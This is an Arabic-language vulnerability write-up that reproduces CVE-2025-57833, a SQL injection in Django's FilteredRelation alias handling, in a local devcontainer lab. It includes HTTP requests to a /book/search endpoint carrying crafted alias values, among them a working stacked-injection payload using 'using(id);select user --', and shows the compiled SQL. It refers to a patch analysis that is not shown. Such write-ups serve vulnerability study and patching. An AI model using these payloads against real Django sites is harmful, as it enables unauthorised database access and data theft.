
تحليل واستنساخ CVE-2025-57833
ثغرة حقن SQL ظهرت في Django بعد مرور عام تقريبًا، وبالنظرة الأولى تبدو وكأنها حقن ناتج عن الأسماء المستعارة (لأن الأسماء المستعارة لا يمكن تجميعها مسبقًا).
تؤثر هذه الثغرة على ميزة FilteredRelation في إطار عمل Django، فعند استخدام طريقتي QuerySet.annotate() أو QuerySet.alias() وتوفير اسم مستعار للعمود من خلال توسيع القاموس في بايثون (**kwargs)، توجد مخاطرة حقن SQL. ويعود السبب إلى عدم التحقق الكافي من مفاتيح القاموس (أي الأسماء المستعارة للأعمدة)، مما يتيح للمهاجم إنشاء قاموس خبيث لحقن عبارات SQL غير مقيدة.
نطاق تأثير هذه الثغرة:
يستخدم مشروع هذه الثغرة حاوية devcontainer الخاصة بـ VS Code للبناء.
1️⃣ افتح المشروع
افتح المجلد الجذر للمشروع الموجود مسبقًا (الذي يحتوي على مجلد .devcontainer) باستخدام VS Code.
2️⃣ أعد فتح الحاوية (بناء Dev Container)
اضغط Ctrl+Shift+P (في Windows/Linux) أو Cmd+Shift+P (في Mac).
أدخل Remote-Containers: Reopen in Container.
سيقرأ VS Code إعدادات .devcontainer ويبني الحاوية (قد يستغرق البناء الأول بضع دقائق).
⚠️ إذا تم تحديث Dockerfile أو التبعيات، يمكنك اختيار Remote-Containers: Rebuild Container لضمان استخدام أحدث بيئة.
3️⃣ شغّل خادم تطوير Django
افتح لوحة الأوامر Ctrl+Shift+P.
أدخل Tasks: Run Task.
اختر django:start (تم تكوين المهمة في .vscode/tasks.json).
ستقوم هذه المهمة بتشغيل خادم تطوير Django داخل الحاوية.
يستمع افتراضيًا على 0.0.0.0:8085.
4️⃣ افتح المتصفح للوصول إلى المشروع
افتح المتصفح وقم بزيارة:
5️⃣ ملاحظات
أول تشغيل:
قد تحتاج إلى تنفيذ ترحيل قاعدة البيانات:
python manage.py migrate
بعد بدء تشغيل الخادم، قم بزيارة http://localhost:8085.
قم بالوصول إلى واجهة /book/search بالطريقة العادية:
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX","author":"Bob"}

في هذه المرحلة، تكون جملة SQL التي يجمّعها ORM الخاص بـ Django داخليًا هي:
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0
يمكن ملاحظة أنه تم إنشاء اسم مستعار XXX لجدول vuln_author، وبناءً على تحليل التصحيح المذكور أعلاه، يتضح أنه لا تتم حاليًا تصفية XXX، لذا يمكننا حقنه.
إن استخدام حقن التراص (stacked injection) مباشرةً لن يؤدي إلى تنفيذ جملة SQL الثانية لأن الجملة الأولى غير صالحة:
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX;select user --","author":"Bob"}

لذا نحتاج أولاً إلى جعل الجملة الأولى صالحة، وبما أنها علاقة ربط (join)، نستخدم مباشرةً صيغة using:
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":" using(id);select user --","author":"Bob"}

وهكذا نجح الحقن، وتم العثور على أن مستخدم تنفيذ قاعدة البيانات هو postgres، وفي هذه المرحلة تكون جملة SQL التي تم تجميعها بنجاح داخليًا هي:
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" using(id);select user -- ON ("vuln_book"."author_id" = using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE using(id);select user --."id" > 0